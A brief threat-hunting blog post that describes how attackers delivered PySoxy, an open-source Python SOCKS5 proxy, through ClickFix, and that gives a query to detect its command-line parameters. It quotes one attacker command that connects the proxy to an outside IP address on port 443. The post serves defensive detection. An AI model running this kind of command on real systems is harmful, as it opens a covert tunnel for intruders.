394. Hunting for PySoxy: Another Tool Delivered via ClickFix

Hello everyone!

Today we'll look at another tool delivered by threat actors via ClickFix. And this time it's a 10-year-old open-source Python SOCKS5 proxy - PySoxy.

So, according to ReliaQuest report, the adversary leveraged interactive PowerShell access to download Python tooling to C:\ProgramData. 

The following command was executed to run the tool:

python.exe b64.pyc -ssl -remote_port 443 -remote_ip 167.99.158[.]97

The tool was identified as PySoxy. As you can see, there're a few interesting command line parameters we can use to build a hunting query, for example:

event_type: "processcreatewin"

AND

cmdline: ("remote_port" AND "remote_ip") 

See you soon!

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